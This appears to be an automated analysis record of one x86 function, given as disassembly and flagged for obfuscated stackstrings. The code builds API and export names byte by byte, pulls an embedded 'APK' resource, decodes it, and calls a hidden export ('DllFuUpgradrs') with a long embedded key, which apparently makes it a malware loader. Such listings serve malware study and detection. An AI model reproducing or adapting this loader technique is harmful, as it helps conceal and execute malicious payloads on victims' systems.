Function at 0x402130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x428fa0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18c], ecx
nop
nop
nop
mov ecx, dword [ebp - 0x18c]
call fcn.00402eb4
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x38], 0
mov ecx, dword [0x42a328]
call fcn.00401cc0
push 0x4204f4
push 0x420508
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x14], 0x46
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x52
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x41
mov byte [ebp - 7], 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [0x42a3d4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x34], 0x41
mov byte [ebp - 0x33], 0x50
mov byte [ebp - 0x32], 0x4b
mov byte [ebp - 0x31], 0
push 0
call dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x34]
push edx
push 0x99
mov eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
push 0x420518
push 0x420528
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4024d2
push 0x420538
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x24]
push eax
call dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
push 0xff
push 0
lea ecx, [ebp - 0x148]
push ecx
call fcn.0040f590
add esp, 0xc
cmp dword [ebp - 0x1c], 0
je 0x4024d2
mov dword [ebp - 0x18], 0xa6880
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040fdf4
add esp, 4
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00402500
add esp, 0xc
push 0xa
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0041f532
add esp, 0xc
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
cdq
sub eax, edx
sar eax, 1
add eax, 1
push eax
call fcn.00402677
add esp, 4
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x154], ecx
mov eax, dword [ebp - 0x18]
cdq
sub eax, edx
sar eax, 1
push eax
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x154]
push eax
call fcn.0040fa40
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x18]
cdq
sub eax, edx
sar eax, 1
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004020e0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edx, dword [ebp - 0x1c]
add edx, 0x14
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x158]
push eax
call section..text
add esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40248c
mov byte [ebp - 0x168], 0x44
mov byte [ebp - 0x167], 0x68
mov byte [ebp - 0x166], 0x6c
mov byte [ebp - 0x165], 0x56
mov byte [ebp - 0x164], 0x69
mov byte [ebp - 0x163], 0x70
mov byte [ebp - 0x162], 0x56
mov byte [ebp - 0x161], 0x65
mov byte [ebp - 0x160], 0x72
mov byte [ebp - 0x15f], 0x73
mov byte [ebp - 0x15e], 0x66
mov byte [ebp - 0x15d], 0x73
mov byte [ebp - 0x15c], 0
mov byte [ebp - 0x17c], 0x44
mov byte [ebp - 0x17b], 0x6c
mov byte [ebp - 0x17a], 0x6c
mov byte [ebp - 0x179], 0x46
mov byte [ebp - 0x178], 0x75
mov byte [ebp - 0x177], 0x55
mov byte [ebp - 0x176], 0x70
mov byte [ebp - 0x175], 0x67
mov byte [ebp - 0x174], 0x72
mov byte [ebp - 0x173], 0x61
mov byte [ebp - 0x172], 0x64
mov byte [ebp - 0x171], 0x72
mov byte [ebp - 0x170], 0x73
mov byte [ebp - 0x16f], 0
lea ecx, [ebp - 0x17c]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call fcn.004018b0
add esp, 8
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
je 0x402480
mov dword [ebp - 0x180], str.YYYYYYYYYYYYA6say4WAAhhR79WahkCBBtFButRkwQu4WYH2EkJVThyOXwEbczcqNZxk9je5bRn0VlNUY93Vkxm5UgcrQGwBA4uhEXLABExwOl8wqC9dwONG4Ey8auZhr92TpvmIuSZIBMGs7td8dqZ36XReXeG8JdSJoTwQtZXLD4nfcSm0FUzs2TZJv8b9EdqcwvjGb65j0tElCVg2xmjLQz2OMvaDis7fCSXc302w1AiyLa5sKZKgagZxugyvQrfypsEVdq7HU0R4eHDTlcZREPJeaF7thQsJCIErgUSfHzZXXZIhhn3ehl8iuksels_Ogp1DCmEdd9LMc9_07ACq4nO0wU3wdwjT6Dg4OalAlrIzk_1V70wM2I8QT7ZIG91riSxlmK1W6vQVpu0sEbh8vBKSG5UAOKi8mxDRAGp28E7QzcBxVCFC3S_JQ_TlzC273tZlE5xVo0QYhNzn_L3wph_0BEZppWxBQCYs8ZGyxZoCH8QynDttg3f71IbbrWEluxQHEQQ0_5fr3ZsyOUB_JoMBjk6jJdzD4RSUAfm5dIwTShpnsffyavPUU1pw
lea eax, [ebp - 0x168]
push eax
mov ecx, dword [ebp - 0x180]
add ecx, 0xc
push ecx
mov eax, dword [ebp - 0x18]
cdq
sub eax, edx
sar eax, 1
push eax
mov edx, dword [ebp - 0x154]
push edx
call dword [ebp - 0x16c]
add esp, 0x10
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x38]
push eax
call fcn.004019b0
add esp, 4
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x188], ecx
mov edx, dword [ebp - 0x188]
push edx
call fcn.00402682
add esp, 4
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14c]
push ecx
call fcn.0040f4af
add esp, 4
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004024f0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_FreeResource]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f285
mov esp, ebp
pop ebp
ret